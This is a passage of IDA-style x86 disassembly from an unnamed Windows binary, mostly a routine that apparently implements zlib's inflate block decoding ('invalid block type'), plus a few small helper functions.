loc_41ED3D:				; CODE XREF: sub_41EC8C+47j
		pop	edi
		leave
		retn	10h
sub_41EC8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED42	proc near		; CODE XREF: sub_4182B0+6Fp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+0Ch], 0
		leave
		retn
sub_41ED42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED59	proc near		; CODE XREF: sub_4182B0+82p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx


loc_41ED60:				; CODE XREF: sub_41ED59+5Dj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		mov	eax, [eax+4]
		cmp	eax, [ecx]
		jb	short loc_41ED71
		xor	al, al
		jmp	short locret_41EDD5
; ---------------------------------------------------------------------------


loc_41ED71:				; CODE XREF: sub_41ED59+12j
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_41ED91
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx+8]
		mov	edx, [ebp+var_4]
		mov	eax, [ecx+eax*4]
		mov	[edx+0Ch], eax
		jmp	short loc_41EDA0
; ---------------------------------------------------------------------------


loc_41ED91:				; CODE XREF: sub_41ED59+1Fj
		mov	eax, [ebp+var_4]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_4]
		mov	eax, [eax+8]
		mov	[ecx+0Ch], eax


loc_41EDA0:				; CODE XREF: sub_41ED59+36j
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_41EDB8
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		inc	eax
		mov	ecx, [ebp+var_4]
		mov	[ecx+4], eax
		jmp	short loc_41ED60
; ---------------------------------------------------------------------------


loc_41EDB8:				; CODE XREF: sub_41ED59+4Ej
		mov	eax, [ebp+var_4]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ecx], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax]
		mov	[ecx], eax
		mov	al, 1

locret_41EDD5:				; CODE XREF: sub_41ED59+16j
		leave
		retn	8
sub_41ED59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EDD9	proc near		; DATA XREF: sub_41EB4C+7o
					; sub_41EBBB+7o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_4]
		mov	eax, edx
		pop	ebp
		retn
sub_41EDD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EDE8	proc near		; DATA XREF: sub_41925C+Co
					; sub_419529+1CBo ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41EE22
		jmp	short loc_41EE06
; ---------------------------------------------------------------------------


loc_41EDFF:				; CODE XREF: sub_41EDE8+38j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_41EE06:				; CODE XREF: sub_41EDE8+15j
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_41EE22
		mov	eax, [ebp+var_8]
		shl	eax, 1
		mov	ecx, [ebp+var_4]
		movzx	ecx, byte ptr [ecx]
		or	eax, ecx
		mov	[ebp+var_8], eax
		jmp	short loc_41EDFF
; ---------------------------------------------------------------------------


loc_41EE22:				; CODE XREF: sub_41EDE8+13j
					; sub_41EDE8+26j
		mov	eax, [ebp+var_8]
		xor	edx, edx
		div	[ebp+arg_4]
		mov	eax, edx
		leave
		retn
sub_41EDE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE2E	proc near		; CODE XREF: sub_41EE9A+7Dp
					; sub_41F88B+Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		push	ebx
		xor	ebx, ebx
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	eax, ebx
		push	edi
		jz	short loc_41EE45
		mov	ecx, [esi+3Ch]
		mov	[eax], ecx


loc_41EE45:				; CODE XREF: sub_41EE2E+10j
		mov	eax, [esi]
		mov	edi, [ebp+arg_4]
		cmp	eax, 4
		jz	short loc_41EE54
		cmp	eax, 5
		jnz	short loc_41EE5F


loc_41EE54:				; CODE XREF: sub_41EE2E+1Fj
		push	dword ptr [esi+0Ch]
		push	dword ptr [edi+28h]
		call	dword ptr [edi+24h]
		pop	ecx
		pop	ecx


loc_41EE5F:				; CODE XREF: sub_41EE2E+24j
		cmp	dword ptr [esi], 6
		jnz	short loc_41EE6F
		push	edi
		push	dword ptr [esi+4]
		call	sub_41FEB3
		pop	ecx
		pop	ecx


loc_41EE6F:				; CODE XREF: sub_41EE2E+34j
		mov	eax, [esi+28h]
		mov	[esi], ebx
		mov	[esi+34h], eax
		mov	[esi+30h], eax
		mov	eax, [esi+38h]
		mov	[esi+1Ch], ebx
		cmp	eax, ebx
		mov	[esi+20h], ebx
		jz	short loc_41EE95
		push	ebx
		push	ebx
		push	ebx
		call	eax
		mov	[esi+3Ch], eax
		add	esp, 0Ch
		mov	[edi+30h], eax


loc_41EE95:				; CODE XREF: sub_41EE2E+57j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41EE2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE9A	proc near		; CODE XREF: sub_42021C+AFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	40h
		push	1
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_41EF01
		push	5A0h
		push	8
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		add	esp, 0Ch
		mov	[edi+24h], eax
		test	eax, eax
		jnz	short loc_41EED8
		push	edi
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		pop	ecx
		pop	ecx
		jmp	short loc_41EF01
; ---------------------------------------------------------------------------


loc_41EED8:				; CODE XREF: sub_41EE9A+31j
		mov	ebx, [ebp+arg_8]
		push	ebx
		push	1
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		add	esp, 0Ch
		mov	[edi+28h], eax
		test	eax, eax
		jnz	short loc_41EF05
		push	dword ptr [edi+24h]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		push	edi
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		add	esp, 10h


loc_41EF01:				; CODE XREF: sub_41EE9A+1Aj
					; sub_41EE9A+3Cj
		xor	eax, eax
		jmp	short loc_41EF21
; ---------------------------------------------------------------------------


loc_41EF05:				; CODE XREF: sub_41EE9A+52j
		and	dword ptr [edi], 0
		add	eax, ebx
		mov	[edi+2Ch], eax
		mov	eax, [ebp+arg_4]
		push	0
		push	esi
		push	edi
		mov	[edi+38h], eax
		call	sub_41EE2E
		add	esp, 0Ch
		mov	eax, edi


loc_41EF21:				; CODE XREF: sub_41EE9A+69j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41EE9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF26	proc near		; CODE XREF: sub_42031E+11Bp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	ecx, [eax]
		mov	eax, [eax+4]
		mov	[ebp+var_8], eax
		mov	eax, [ebx+20h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+1Ch]
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+34h]
		mov	[ebp+var_4], eax
		mov	eax, [ebx+30h]
		cmp	ecx, eax
		push	edi
		mov	[ebp+var_C], ecx
		jnb	short loc_41EF5E
		sub	eax, ecx
		dec	eax
		jmp	short loc_41EF63
; ---------------------------------------------------------------------------


loc_41EF5E:				; CODE XREF: sub_41EF26+31j
		mov	eax, [ebx+2Ch]
		sub	eax, ecx


loc_41EF63:				; CODE XREF: sub_41EF26+36j
		mov	[ebp+var_14], eax


loc_41EF66:				; CODE XREF: sub_41EF26+ADj
					; sub_41EF26+10Bj ...
		mov	eax, [ebx]
		cmp	eax, 9		; switch 10 cases
		ja	loc_41F82B	; default
		jmp	ds:off_41F863[eax*4] ; switch jump


loc_41EF78:				; DATA XREF: _3:off_41F863o
		mov	edi, [ebp+var_4] ; jumptable 0041EF71 case 0
		mov	esi, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		cmp	edi, 3
		jnb	short loc_41EFB2


loc_41EF86:				; CODE XREF: sub_41EF26+8Aj
		cmp	[ebp+var_8], 0
		jz	loc_41F567
		movzx	eax, byte ptr [edx]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		mov	ecx, edi
		add	edi, 8
		shl	eax, cl
		mov	[ebp+var_4], edi
		or	esi, eax
		inc	edx
		cmp	edi, 3
		mov	[ebp+arg_0], esi
		mov	[ebp+var_10], edx
		jb	short loc_41EF86


loc_41EFB2:				; CODE XREF: sub_41EF26+5Ej
		mov	eax, esi
		and	eax, 7
		mov	ecx, eax
		shr	eax, 1
		and	ecx, 1
		sub	eax, 0
		mov	[ebx+18h], ecx
		jz	short loc_41F036
		dec	eax
		jz	short loc_41EFE8
		dec	eax
		jz	short loc_41EFD5
		dec	eax
		jz	loc_41F582
		jmp	short loc_41EF66
; ---------------------------------------------------------------------------


loc_41EFD5:				; CODE XREF: sub_41EF26+A4j
		push	3
		pop	eax
		shr	esi, 3
		sub	edi, eax
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], edi
		jmp	loc_41F0C2
; ---------------------------------------------------------------------------


loc_41EFE8:				; CODE XREF: sub_41EF26+A1j
		mov	edi, [ebp+arg_4]
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_420B8A
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_20]
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41F8C1
		add	esp, 28h
		mov	[ebx+4], eax
		test	eax, eax
		jz	loc_41F5B2
		shr	esi, 3
		sub	[ebp+var_4], 3
		mov	[ebp+arg_0], esi
		mov	dword ptr [ebx], 6
		jmp	loc_41EF66
; ---------------------------------------------------------------------------


loc_41F036:				; CODE XREF: sub_41EF26+9Ej
		sub	edi, 3
		mov	dword ptr [ebx], 1
		mov	ecx, edi
		and	ecx, 7
		shr	esi, 3
		shr	esi, cl
		sub	edi, ecx
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], esi
		jmp	loc_41EF66
; ---------------------------------------------------------------------------


loc_41F056:				; CODE XREF: sub_41EF26+4Bj
					; DATA XREF: _3:off_41F863o
		mov	ecx, [ebp+var_4] ; jumptable 0041EF71 case 1
		mov	esi, [ebp+arg_0]
		cmp	ecx, 20h
		jnb	short loc_41F08A
		mov	edx, [ebp+var_10]
		xor	edi, edi


loc_41F066:				; CODE XREF: sub_41EF26+160j
		cmp	[ebp+var_8], edi
		jz	loc_41F5DB
		movzx	eax, byte ptr [edx]
		dec	[ebp+var_8]
		mov	[ebp+arg_8], edi
		shl	eax, cl
		add	ecx, 8
		or	esi, eax
		inc	edx
		cmp	ecx, 20h
		mov	[ebp+var_10], edx
		jb	short loc_41F066
		jmp	short loc_41F08D
; ---------------------------------------------------------------------------


loc_41F08A:				; CODE XREF: sub_41EF26+139j
		mov	edx, [ebp+var_10]


loc_41F08D:				; CODE XREF: sub_41EF26+162j
		mov	edi, esi
		mov	eax, esi
		not	edi
		and	eax, 0FFFFh
		shr	edi, 10h
		xor	edi, eax
		jnz	loc_41F5E9
		mov	[ebx+4], eax
		xor	eax, eax
		cmp	[ebx+4], eax
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], eax
		jz	short loc_41F0B8
		push	2
		pop	eax
		jmp	short loc_41F0C2
; ---------------------------------------------------------------------------


loc_41F0B8:				; CODE XREF: sub_41EF26+18Bj
					; sub_41EF26+288j
		mov	eax, [ebx+18h]
		neg	eax
		sbb	eax, eax
		and	eax, 7


loc_41F0C2:				; CODE XREF: sub_41EF26+BDj
					; sub_41EF26+190j
		mov	[ebx], eax
		jmp	loc_41EF66
; ---------------------------------------------------------------------------


loc_41F0C9:				; CODE XREF: sub_41EF26+4Bj
					; DATA XREF: _3:off_41F863o
		cmp	[ebp+var_8], 0	; jumptable 0041EF71 case 2
		jz	loc_41F601
		mov	ecx, [ebp+var_14]
		test	ecx, ecx
		jnz	loc_41F16E
		mov	ecx, [ebx+2Ch]
		mov	edx, [ebp+var_C]
		cmp	edx, ecx
		jnz	short loc_41F10B
		mov	eax, [ebx+30h]
		mov	esi, [ebx+28h]
		cmp	eax, esi
		jz	short loc_41F10B
		mov	edx, esi
		cmp	edx, eax
		mov	[ebp+var_C], edx
		jnb	short loc_41F102
		sub	eax, edx
		dec	eax
		mov	ecx, eax
		jmp	short loc_41F104
; ---------------------------------------------------------------------------


loc_41F102:				; CODE XREF: sub_41EF26+1D3j
		sub	ecx, edx


loc_41F104:				; CODE XREF: sub_41EF26+1DAj
		test	ecx, ecx
		mov	[ebp+var_14], ecx
		jnz	short loc_41F16E


loc_41F10B:				; CODE XREF: sub_41EF26+1C0j
					; sub_41EF26+1CAj
		push	[ebp+arg_8]
		mov	esi, [ebp+arg_4]
		mov	[ebx+34h], edx
		push	esi
		push	ebx
		call	sub_420BB9
		mov	edx, [ebx+34h]
		mov	[ebp+arg_8], eax
		mov	eax, [ebx+30h]
		add	esp, 0Ch
		cmp	edx, eax
		mov	[ebp+var_C], edx
		jnb	short loc_41F135
		mov	ecx, eax
		sub	ecx, edx
		dec	ecx
		jmp	short loc_41F13A
; ---------------------------------------------------------------------------


loc_41F135:				; CODE XREF: sub_41EF26+206j
		mov	ecx, [ebx+2Ch]
		sub	ecx, edx


loc_41F13A:				; CODE XREF: sub_41EF26+20Dj
		mov	edi, [ebx+2Ch]
		mov	[ebp+var_14], ecx
		cmp	edx, edi
		mov	[ebp+var_18], edi
		jnz	short loc_41F166
		mov	edi, [ebx+28h]
		cmp	eax, edi
		jz	short loc_41F166
		mov	edx, edi
		cmp	edx, eax
		mov	[ebp+var_C], edx
		jnb	short loc_41F15E
		sub	eax, edx
		dec	eax
		mov	ecx, eax
		jmp	short loc_41F163
; ---------------------------------------------------------------------------


loc_41F15E:				; CODE XREF: sub_41EF26+22Fj
		mov	ecx, [ebp+var_18]
		sub	ecx, edx


loc_41F163:				; CODE XREF: sub_41EF26+236j
		mov	[ebp+var_14], ecx


loc_41F166:				; CODE XREF: sub_41EF26+21Fj
					; sub_41EF26+226j
		test	ecx, ecx
		jz	loc_41F622


loc_41F16E:				; CODE XREF: sub_41EF26+1B2j
					; sub_41EF26+1E3j
		mov	eax, [ebx+4]
		and	[ebp+arg_8], 0
		cmp	eax, [ebp+var_8]
		jbe	short loc_41F17D
		mov	eax, [ebp+var_8]


loc_41F17D:				; CODE XREF: sub_41EF26+252j
		cmp	eax, ecx
		jbe	short loc_41F183
		mov	eax, ecx


loc_41F183:				; CODE XREF: sub_41EF26+259j
		mov	esi, [ebp+var_10]
		mov	edi, [ebp+var_C]
		mov	ecx, eax
		add	[ebp+var_10], eax
		mov	edx, ecx
		sub	[ebp+var_8], eax
		shr	ecx, 2
		rep movsd
		add	[ebp+var_C], eax
		sub	[ebp+var_14], eax
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		sub	[ebx+4], eax
		jnz	loc_41EF66
		jmp	loc_41F0B8
; ---------------------------------------------------------------------------


loc_41F1B3:				; CODE XREF: sub_41EF26+4Bj
					; DATA XREF: _3:off_41F863o
		mov	ecx, [ebp+var_4] ; jumptable 0041EF71 case 3
		mov	edi, [ebp+var_10]
		cmp	ecx, 0Eh
		jnb	short loc_41F1E3


loc_41F1BE:				; CODE XREF: sub_41EF26+2BBj
		cmp	[ebp+var_8], 0
		jz	loc_41F64B
		movzx	eax, byte ptr [edi]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		shl	eax, cl
		add	ecx, 8
		mov	[ebp+var_4], ecx
		or	[ebp+arg_0], eax
		inc	edi
		cmp	ecx, 0Eh
		jb	short loc_41F1BE


loc_41F1E3:				; CODE XREF: sub_41EF26+296j
		mov	eax, [ebp+arg_0]
		and	eax, 3FFFh
		mov	ecx, eax
		mov	[ebx+4], eax
		and	ecx, 1Fh
		cmp	ecx, 1Dh
		ja	loc_41F69D
		mov	edx, eax
		and	edx, 3E0h
		cmp	edx, 3A0h
		ja	loc_41F69D
		mov	esi, [ebp+arg_4]
		push	4
		shr	eax, 5
		and	eax, 1Fh
		lea	eax, [eax+ecx+102h]
		push	eax
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		add	esp, 0Ch
		mov	[ebx+0Ch], eax
		test	eax, eax
		jz	loc_41F675
		shr	[ebp+arg_0], 0Eh
		sub	[ebp+var_4], 0Eh
		and	dword ptr [ebx+8], 0
		mov	dword ptr [ebx], 4
		jmp	short loc_41F251
; ---------------------------------------------------------------------------


loc_41F24B:				; CODE XREF: sub_41EF26+4Bj
					; DATA XREF: _3:off_41F863o
		mov	edi, [ebp+var_10] ; jumptable 0041EF71 case 4
		mov	esi, [ebp+arg_4]


loc_41F251:				; CODE XREF: sub_41EF26+323j
		mov	eax, [ebx+4]
		shr	eax, 0Ah
		add	eax, 4
		cmp	[ebx+8], eax
		jnb	short loc_41F2BA


loc_41F25F:				; CODE XREF: sub_41EF26+392j
		mov	ecx, [ebp+var_4]


loc_41F262:				; CODE XREF: sub_41EF26+361j
		cmp	ecx, 3
		jnb	short loc_41F289
		cmp	[ebp+var_8], 0
		jz	loc_41F70D
		movzx	eax, byte ptr [edi]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		shl	eax, cl
		or	[ebp+arg_0], eax
		inc	edi
		add	ecx, 8
		mov	[ebp+var_4], ecx
		jmp	short loc_41F262
; ---------------------------------------------------------------------------


loc_41F289:				; CODE XREF: sub_41EF26+33Fj
		mov	ecx, [ebx+8]
		mov	eax, [ebp+arg_0]
		mov	edx, [ebx+0Ch]
		and	eax, 7
		mov	ecx, ds:dword_421058[ecx*4]
		sub	[ebp+var_4], 3
		shr	[ebp+arg_0], 3
		mov	[edx+ecx*4], eax
		mov	ecx, [ebx+4]
		inc	dword ptr [ebx+8]
		mov	eax, [ebx+8]
		shr	ecx, 0Ah
		add	ecx, 4
		cmp	eax, ecx
		jb	short loc_41F25F


loc_41F2BA:				; CODE XREF: sub_41EF26+337j
					; sub_41EF26+3AEj
		cmp	dword ptr [ebx+8], 13h
		jnb	short loc_41F2D6
		mov	eax, [ebx+8]
		mov	ecx, [ebx+0Ch]
		mov	eax, ds:dword_421058[eax*4]
		and	dword ptr [ecx+eax*4], 0
		inc	dword ptr [ebx+8]
		jmp	short loc_41F2BA
; ---------------------------------------------------------------------------


loc_41F2D6:				; CODE XREF: sub_41EF26+398j
		push	esi
		lea	ecx, [ebx+14h]
		push	dword ptr [ebx+24h]
		lea	eax, [ebx+10h]
		push	ecx
		push	eax
		push	dword ptr [ebx+0Ch]
		mov	dword ptr [eax], 7
		call	sub_420681
		add	esp, 14h
		mov	[ebp+var_14], eax
		test	eax, eax
		jnz	loc_41F6CD
		and	[ebx+8], eax
		mov	dword ptr [ebx], 5
		jmp	short loc_41F30F
; ---------------------------------------------------------------------------


loc_41F309:				; CODE XREF: sub_41EF26+4Bj
					; DATA XREF: _3:off_41F863o
		mov	edi, [ebp+var_10] ; jumptable 0041EF71 case 5
		mov	esi, [ebp+arg_4]


loc_41F30F:				; CODE XREF: sub_41EF26+3E1j
					; sub_41EF26+46Bj ...
		mov	eax, [ebx+4]
		mov	ecx, [ebx+8]
		mov	edx, eax
		and	eax, 1Fh
		shr	edx, 5
		and	edx, 1Fh
		lea	eax, [edx+eax+102h]
		cmp	ecx, eax
		jnb	loc_41F453
		mov	eax, [ebx+10h]


loc_41F332:				; CODE XREF: sub_41EF26+432j
		cmp	[ebp+var_4], eax
		jnb	short loc_41F35A
		cmp	[ebp+var_8], 0
		jz	loc_41F70D
		movzx	edx, byte ptr [edi]
		mov	ecx, [ebp+var_4]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		shl	edx, cl
		or	[ebp+arg_0], edx
		inc	edi
		add	[ebp+var_4], 8
		jmp	short loc_41F332
; ---------------------------------------------------------------------------


loc_41F35A:				; CODE XREF: sub_41EF26+40Fj
		mov	eax, ds:dword_423318[eax*4]
		mov	ecx, [ebx+14h]
		and	eax, [ebp+arg_0]
		mov	edx, [ecx+eax*8+4]
		lea	eax, [ecx+eax*8]
		cmp	edx, 10h
		mov	[ebp+var_18], edx
		movzx	ecx, byte ptr [eax+1]
		mov	[ebp+var_14], ecx
		jnb	short loc_41F396
		shr	[ebp+arg_0], cl
		mov	eax, ecx
		mov	ecx, [ebx+0Ch]
		sub	[ebp+var_4], eax
		mov	eax, [ebx+8]
		mov	[ecx+eax*4], edx
		inc	dword ptr [ebx+8]
		jmp	loc_41F30F
; ---------------------------------------------------------------------------


loc_41F396:				; CODE XREF: sub_41EF26+455j
		cmp	edx, 12h
		jnz	short loc_41F3A0
		push	7
		pop	eax
		jmp	short loc_41F3A3
; ---------------------------------------------------------------------------


loc_41F3A0:				; CODE XREF: sub_41EF26+473j
		lea	eax, [edx-0Eh]


loc_41F3A3:				; CODE XREF: sub_41EF26+478j
		xor	ecx, ecx
		cmp	edx, 12h
		setnz	cl
		dec	ecx
		and	ecx, 8
		add	ecx, 3
		mov	[ebp+var_10], ecx


loc_41F3B5:				; CODE XREF: sub_41EF26+4BBj
		mov	ecx, [ebp+var_14]
		lea	edx, [eax+ecx]
		cmp	[ebp+var_4], edx
		jnb	short loc_41F3E3
		cmp	[ebp+var_8], 0
		jz	loc_41F70D
		movzx	edx, byte ptr [edi]
		mov	ecx, [ebp+var_4]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		shl	edx, cl
		or	[ebp+arg_0], edx
		inc	edi
		add	[ebp+var_4], 8
		jmp	short loc_41F3B5
; ---------------------------------------------------------------------------


loc_41F3E3:				; CODE XREF: sub_41EF26+498j
		shr	[ebp+arg_0], cl
		mov	ecx, ds:dword_423318[eax*4]
		and	ecx, [ebp+arg_0]
		add	[ebp+var_10], ecx
		mov	ecx, eax
		shr	[ebp+arg_0], cl
		mov	ecx, [ebp+var_14]
		add	eax, ecx
		mov	ecx, [ebx+8]
		sub	[ebp+var_4], eax
		mov	eax, [ebx+4]
		mov	edx, eax
		and	eax, 1Fh
		shr	edx, 5
		and	edx, 1Fh
		lea	eax, [edx+eax+102h]
		mov	edx, [ebp+var_10]
		add	edx, ecx
		cmp	edx, eax
		ja	loc_41F731
		cmp	[ebp+var_18], 10h
		jnz	short loc_41F43D
		cmp	ecx, 1
		jb	loc_41F731
		mov	eax, [ebx+0Ch]
		mov	eax, [eax+ecx*4-4]
		jmp	short loc_41F43F
; ---------------------------------------------------------------------------


loc_41F43D:				; CODE XREF: sub_41EF26+503j
		xor	eax, eax


loc_41F43F:				; CODE XREF: sub_41EF26+515j
					; sub_41EF26+523j
		mov	edx, [ebx+0Ch]
		mov	[edx+ecx*4], eax
		inc	ecx
		dec	[ebp+var_10]
		jnz	short loc_41F43F
		mov	[ebx+8], ecx
		jmp	loc_41F30F
; ---------------------------------------------------------------------------


loc_41F453:				; CODE XREF: sub_41EF26+403j
		push	esi
		lea	ecx, [ebp+var_2C]
		push	dword ptr [ebx+24h]
		mov	eax, [ebx+4]
		and	dword ptr [ebx+14h], 0
		mov	[ebp+var_18], 9
		push	ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		mov	ecx, eax
		push	dword ptr [ebx+0Ch]
		and	eax, 1Fh
		shr	ecx, 5
		and	ecx, 1Fh
		add	eax, 101h
		inc	ecx
		mov	[ebp+var_10], 6
		push	ecx
		push	eax
		call	sub_420A87
		add	esp, 24h
		mov	[ebp+var_14], eax
		test	eax, eax
		jnz	loc_41F779
		push	esi
		push	[ebp+var_2C]
		push	[ebp+var_30]
		push	[ebp+var_10]
		push	[ebp+var_18]
		call	sub_41F8C1
		add	esp, 14h
		test	eax, eax
		jz	loc_41F675
		push	dword ptr [ebx+0Ch]
		mov	[ebx+4], eax
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		pop	ecx
		mov	dword ptr [ebx], 6
		pop	ecx
		jmp	short loc_41F4DE
; ---------------------------------------------------------------------------


loc_41F4D8:				; CODE XREF: sub_41EF26+4Bj
					; DATA XREF: _3:off_41F863o
		mov	edi, [ebp+var_10] ; jumptable 0041EF71 case 6
		mov	esi, [ebp+arg_4]


loc_41F4DE:				; CODE XREF: sub_41EF26+5B0j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_8]
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, edi
		sub	eax, [esi]
		push	esi
		mov	[esi], edi
		push	ebx
		add	[esi+8], eax
		mov	eax, [ebp+var_C]
		mov	[ebx+34h], eax
		call	sub_41F8F5
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_41F7C9
		and	[ebp+arg_8], 0
		push	esi
		push	dword ptr [ebx+4]
		call	sub_41FEB3
		mov	eax, [esi+4]
		mov	edi, [esi]
		mov	[ebp+var_8], eax
		mov	eax, [ebx+20h]
		pop	ecx
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+1Ch]
		pop	ecx
		mov	ecx, [ebx+34h]
		mov	[ebp+var_4], eax
		mov	eax, [ebx+30h]
		mov	[ebp+var_10], edi
		cmp	ecx, eax
		mov	[ebp+var_C], ecx
		jnb	short loc_41F54D
		sub	eax, ecx
		dec	eax
		jmp	short loc_41F552
; ---------------------------------------------------------------------------


loc_41F54D:				; CODE XREF: sub_41EF26+620j
		mov	eax, [ebx+2Ch]
		sub	eax, ecx


loc_41F552:				; CODE XREF: sub_41EF26+625j
		cmp	dword ptr [ebx+18h], 0
		mov	[ebp+var_14], eax
		jnz	loc_41F782
		and	dword ptr [ebx], 0
		jmp	loc_41EF66
; ---------------------------------------------------------------------------


loc_41F567:				; CODE XREF: sub_41EF26+64j
		mov	eax, [ebp+arg_4]
		mov	[ebx+20h], esi
		mov	[ebx+1Ch], edi
		and	dword ptr [eax+4], 0


loc_41F574:				; CODE XREF: sub_41EF26+6C1j
		mov	ecx, edx
		sub	ecx, [eax]
		mov	[eax], edx
		add	[eax+8], ecx
		jmp	loc_41F667
; ---------------------------------------------------------------------------


loc_41F582:				; CODE XREF: sub_41EF26+A7j
		mov	eax, [ebp+arg_4]
		mov	dword ptr [ebx], 9
		shr	esi, 3
		add	edi, 0FFFFFFFDh
		mov	dword ptr [eax+18h], offset aInvalidBlockTy ; "invalid block type"
		mov	[ebx+20h], esi
		mov	[ebx+1Ch], edi


loc_41F59E:				; CODE XREF: sub_41EF26+6D9j
		mov	ecx, [ebp+var_8]
		mov	[eax+4], ecx
		mov	ecx, edx
		sub	ecx, [eax]
		mov	[eax], edx
		add	[eax+8], ecx
		jmp	loc_41F821
; ---------------------------------------------------------------------------


loc_41F5B2:				; CODE XREF: sub_41EF26+F5j
		mov	eax, [ebp+var_4]
		mov	[ebx+20h], esi
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[edi+4], eax
		mov	eax, [ebp+var_10]
		mov	ecx, eax
		push	0FFFFFFFCh
		sub	ecx, [edi]
		mov	[edi], eax
		mov	eax, [ebp+var_C]
		push	edi
		add	[edi+8], ecx
		mov	[ebx+34h], eax
		jmp	loc_41F855
; ---------------------------------------------------------------------------


loc_41F5DB:				; CODE XREF: sub_41EF26+143j
		mov	eax, [ebp+arg_4]
		mov	[ebx+20h], esi
		mov	[ebx+1Ch], ecx
		mov	[eax+4], edi
		jmp	short loc_41F574
; ---------------------------------------------------------------------------


loc_41F5E9:				; CODE XREF: sub_41EF26+177j
		mov	eax, [ebp+arg_4]
